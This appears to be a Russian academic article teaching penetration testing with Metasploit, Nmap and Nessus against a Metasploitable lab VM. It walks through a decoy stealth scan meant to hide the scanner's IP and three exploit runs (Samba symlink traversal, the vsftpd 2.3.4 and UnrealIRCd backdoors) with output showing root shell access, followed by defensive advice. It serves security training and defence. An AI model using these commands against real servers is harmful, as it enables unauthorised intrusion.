METASPLOIT FRAMEWORK КАК СРЕДСТВО ЭКСПЛУАТАЦИИ УЯЗВИМЫХ СЕРВЕРОВ

METASPLOIT FRAMEWORK AS A MEANS OF EXPLOITING VULNERABLE SERVERS

УДК 004.056.55

Серов Сергей Анатольевич, Доцент кафедры «Экология и промышленная безопасность», Московский Государственный Технический Университет им. Н. Э. Баумана, г. Москва

Серов Сергей Сергеевич, магистрант, Московский Государственный Технический Университет им. Н. Э. Баумана, г. Москва

Петрова Ирина Викторовна, магистрант, Московский Государственный Технический Университет им. Н. Э. Баумана, г. Москва

Serov S.A. Docent-serov@rambler.ru

Serov S.S. Moonlight234@yandex.ru

Petrova I.V. irinavpetrova97@gmail.com

Аннотация

В данной статье рассматриваются методы использования Metasploit Framework для проведения аудита безопасности серверов. Для сканирования портов, в связке с Metasploit используется сетевой сканнер Nmap Security Scanner. В качестве сканера уязвимостей выбран Nessus Security Scanner. Все сканирования, эксплуатация уязвимостей и пост-эксплуатации проводились на виртуальной машине с предустановленной пентест-площадкой Metasploitable. В статье описаны методы сбора информации, получения сведений об уязвимостях и их эксплуатации.

Annotation

This article discusses methods for using the Metasploit Framework to conduct server security audits. For port scanning, Nmap Security Scanner is used in conjunction with Metasploit. Nessus Security Scanner was selected as a vulnerability scanner. All scans, exploitation of vulnerabilities and post-exploitation were performed on a virtual machine with the Metasploitable pentest platform pre-installed. The article describes methods for collecting information, obtaining information about vulnerabilities and their exploitation.

Ключевые слова: безопасность, тестирование на проникновение, пентестинг, Kali Linux, эксплоит, Metasploit.

Keywords: security, penetration testing, pentesting, Kali Linux, exploit, Metasploit.

Metasploit Framework – фреймворк написанный на языке Perl (последние версии написаны на Ruby) предназначенный для написания и использования эксплойтов использующих самые разнообразные уязвимости. Статья будет интересна специалистам в области информационной безопасности и системным администраторам. Цель статьи – научить читателя использовать Metasploit Framework для проведения тестирования на проникновение (penetration testing). Для проведения таких тестирований я рекомендую использовать сборку Kali Linux (на момент написания статьи версия 2 является самой актуальной). Kali – сборка Debian предназначенная для специалистов в области информационной безопасности, имеющая на своем борту все необходимые инструменты для проведения пентестинга.

Весь процесс пентестинга можно разделить на несколько этапов: сбор информации, эксплуатация уязвимости, пост-эксплуатация и отчет. Ниже будут описаны все эти этапы.

Существует два вида сбора информации, активный и пассивный. Пассивный способ предусматривает не прямое подключение к серверу, а получение информации о сервере из других источников, например, Whois или через обращение к DNS-записям. Чаще всего обращение к DNS-записям дает

более подробную информацию о цели. Для этого можно использовать программу NSLookup. Для этого набираем в терминале команду

nslookup bmstu.ru

В ответ получаем:

Server: 192.168.211.2

Address: 192.168.211.2#53

Non-authoritative answer:

Name: bmstu.ru

Address: 195.19.50.247

Обращение к записям DNS выдало нам IP-адрес веб-сайта, IP-адрес сервера. Использование пассивного метода сбора данных иногда может дать очень полезную информацию для дальнейшего проведения пентеста.

Давайте теперь рассмотрим “активные” методы сбора информации. К активным методам сбора информации относятся все методы, в которых мы непосредственно соединяемся с исследуемым сервером. Самый распространенный инструмент для сетевого сканирования — это программа Nmap. Она полностью интегрирована в Metasploit Framework и полученные данные в ходе сканирования с помощью Nmap, мы можем использовать для дальнейшей работы в Metasploit. Nmap имеет разные режимы сканирования, мы рассмотрим самые необходимые.

[-sT] – самый распространённый и простой режим сканирования, выполняется TCP connect сканирование.

[-sS] – тихий режим сканирования, при котором не устанавливается полное соединение со сканируемым сервером, в этом режиме можно сканировать даже сервера на которых стоит ограничивающий firewall (брандмауэр). Этот тип сканирования используется по умолчанию, когда не указан конкретный режим.

[-sU] – режим для сканирования UDP портов.

[-sA] – режим для получения информации о портах, фильтруемых брандмауэром.

[-O] – ключ на сканирование ОС и ее версии.

IDS и брандмауэры могут поставить вашу анонимность под сомнение, вплоть до выявления вашего IP-адреса. Поэтому существует режим Decoy [-D], при

котором в лог-файлы добавляется информация, создавая впечатление что систему атакуют с нескольких IP-адресов. Режим Decoy в связке с тихим режимом, например, используется следующим образом:

nmap -sS 192.168.211.130 -D 192.168.211.21, 192.168.211.34

В ответ мы получаем результат сканирования:

Nmap scan report for 192.168.211.130

Host is up (0.00066s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry

1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysql

5432/tcp open postgresql

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajp13

8180/tcp open unknown

MAC Address: 00:0C:29:93:6D:BB (VMware)

Мы получили сведения о портах и сервисах, запущенных на них.

Переходим к сканированиям на уязвимости. В качестве сканера уязвимостей будем использовать Nessus. Это один из самых передовых существующих сканеров. Он позволяет просканировать цель и составляет детальнейший отчет о ней. Для использования результатов сканирования в Metasploit, подключаем его к БД. В Nessus должны быть настроены политики сканирования, в интернете много руководств по настройке Nessus, в цели нашей статьи это не входит. Вводим в терминале:

msfconsole //Запускаем Metasploit и далее в его консоли пишем:

load nessus

nessus_db_scan 731a8e52-3ea6-a291-ec0a-d2ff0619c19d7bd788d6be818b65 test testscan

//731a8e52-3ea6-a291-ec0a-d2ff0619c19d7bd788d6be818b65 – это идентификатор политики сканирования, при запуске сканера командой db_scan, производится сканирование для всех хостов в базе Metasploit.

Ждем конца сканирования. Для просмотра статуса можно использовать команду nessus_scan_list.

Полученный файл импортируем в Metasploit db_import test_2bxvyu.nessus.

В качестве примера эксплоита рассмотрим уязвимость сервиса Samba. Для начала пропишем глобальные переменные в Metasploit:

setg RHOST 192.168.211.130 //Целевой сервер

setg LHOST 192.168.211.129 //Адрес наше

Выберем необходимый эксплоит командой use, в нашем случае это

use auxiliary/admin/smb/samba_symlink_traversal

set SMBSHARE tmp

exploit //запускаем эксплоит

Получаем ответ:

[*] 192.168.211.130:445 - Connecting to the server...

[*] 192.168.211.130:445 - Trying to mount writeable share 'tmp'...

[*] 192.168.211.130:445 - Trying to link 'rootfs' to the root filesystem...

[*] 192.168.211.130:445 - Now access the following share to browse the root filesystem:

[*] 192.168.211.130:445 - \\192.168.211.130\tmp\rootfs\

[*] Auxiliary module execution completed

Все, эксплуатация уязвимости выполнена. Дальше подключаемся к сервису Samba и производим необходимые манипуляции.

В качестве следующей уязвимости выберем уязвимость vsftpd_234_backdoor.

use exploit/unix/ftp/vsftpd_234_backdoor

// Выставляем необходимые переменные для запуска эксплоита

// Выбираем полезную нагрузку (например, открыть shell-соединение с моим компьютером)

exploit

Получаем ответ:

[*] Exploit running as background job.

[*] 192.168.211.130:21 – Banner: 220 (vsFTPd 2.3.4)

[*] 192.168.211.130:21 – USER: 331 Please specify the password.

[*] 192.168.211.130:21 – Backdoor service has been spawned, handling…

[*] 192.168.211.130:21 – UID: uid=0(root) gid=0(root)

[*] Found shell.

[*] Command shell session 1 opened (192.168.211.129:38075 -> 192.168.211.130:6200) at 2016-10-22 12:46:16

Эксплоит использовал уязвимость и запустил shell-соединение с нашим компьютером.

Для того что бы войти на ftp можно использовать любой ftp-клиент, я использую telnet:

telnet 192.168.211.130 21

В ответ получаем:

Trying 192.168.211.130...

Connected to 192.168.211.130.

Escape character is '^]'.

220 (vsFTPd 2.3.4)

Payload в качестве логина и пароля по-умолчанию выставляет user и pass.

Для того чтобы закрыть такого рода уязвимости, связанные с определенным ПО, а не с протоколом в общем, необходимо обновить версии программного обеспечения. Если же, уязвимость не исправлена в новых версиях, то следует перейти на другое ПО.

Так же при проведении аудита безопасности сервера или целой сети, необходимо проверять не только стандартные порты. Следует так же проверять порты на которых запущены сервисы обмена сообщениями в режиме реального времени, IRC, например.

На нашем тестовом сервере IRC работает на порту 6667. Выбираем эксплоит в консоли MSF, в нашем случае это unreal_ircd_3281_backdoor:

use exploit/unix/irc/unreal_ircd_3281_backdoor

msf exploit(unreal_ircd_3281_backdoor) > **set RHOST 192.168.99.130**

msf exploit(unreal_ircd_3281_backdoor) > **exploit**

[*] Started reverse double handler

[*] Connected to 192.168.99.130:6667...

:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...

:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead

[*] Sending backdoor command...

[*] Accepted the first client connection...

[*] Accepted the second client connection...

[*] Command: echo 8bMUYsfmGvOLHBxe;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets...

[*] Reading from socket B

[*] B: "8bMUYsfmGvOLHBxe\r\n"

[*] Matching...

[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 ->
192.168.99.130:60257) at 2016-10-29 21:53:59

Таким образом, эксплоит дал нам sell-доступ на тестируемом компьютере. Далее можно производить пост-экплуатацию. Для устранения этой уязвимости, достаточно обновить Unreal IRCD до более новой версии.

В статье рассмотрены методы обнаружения уязвимостей с помощью Metasploit Framework. Так же рассматриваются тонкости использования сетевого сканера Nmap и Nessus при проведении тестирования на проникновение. Как видно из вышенаписанного, большое внимание стоит уделять актуальности программного обеспечения, а также конфигурации сервера или сети. Неправильно настроенный FTP-сервер может привести к полной компрометации целой инфраструктуры. Зачастую проникновение происходит не только по вине ПО, но и из-за неправильно настроенного сетевого оборудования (маршрутизаторы, роутеры, NAS, аппаратные файрволлы). При проектировании сети важно учесть особенности архитектуры используемого ПО и оборудования. Для того чтобы злоумышленники не смогли просканировать открытые порты, необходимо позаботиться о настройке программного файрволла. При написании веб-сервисов, необходимо важное внимание уделить формам ввода данных, так как при плохом экранировании может привести к уязвимостям типа XSS. Наличие такой уязвимости может привести к утечке cookies, в котором может содержаться информация о логине и пароле пользователя. Для этого необходимо фильтровать входные параметры с помощью filter_sanitize_encoded (для кодирования URL) или htmlentities (для фильтрации HTML), так же можно использовать сторонние библиотеки для кодирования. При наличии SQL баз, важно правильно их сконфигурировать и фильтровать все получаемые запросы, так же необходимо экранировать хвост запроса. Для обеспечения защиты передаваемой информации между клиентом и сервером рекомендуется использование SSL сертификатов, с установкой параметра HttpsOnly. Это поможет предотвратить атаки типа Men-in-the-middle(MITM).

Используя связку сканеров Nessus и Nmap с Metasploit, специалист по информационной безопасности сможет своевременно обнаружить в своей системе или сети бреши безопасности и устранить их.

Список литературы

1. Abhinav S. Ispolzovanie Metasploit dlya testirovaniy na proniknovenie [Metasploit Penetration Testing Cookbook]. Packt Publishing Ltd., 2012. 219 p.
2. Бирюков А.А. Информационная безопасность: защита и нападение. - М.: ДМК Пресс, 2012. 474 с.
3. Конференция OWASP Russia Meetup. М.: [Электронный ресурс], 2016. Адрес: https://www.youtube.com/watch?v=50Sv1_nsjnE
4. Эриксон Дж. Хакинг - искусство эксплойта, 2-е издание. М.: High tech, 2009. 510 с.

Bibliography

1. Abhinav S. Ispolzovanie Metasploit dlya testirovaniy na proniknovenie [Metasploit Penetration Testing Cookbook]. Packt Publishing Ltd., 2012.219 p.
2. Biryukov A.A. Information security: defense and attack. - M .: DMK Press, 2012.474 p.
3. Conference OWASP Russia Meetup. M .: [Electronic resource], 2016. Address: https://www.youtube.com/watch?v=50Sv1_nsjnE
4. Erickson J. Hacking - The Art of the Exploit, 2nd Edition. M .: High tech, 2009.510 p.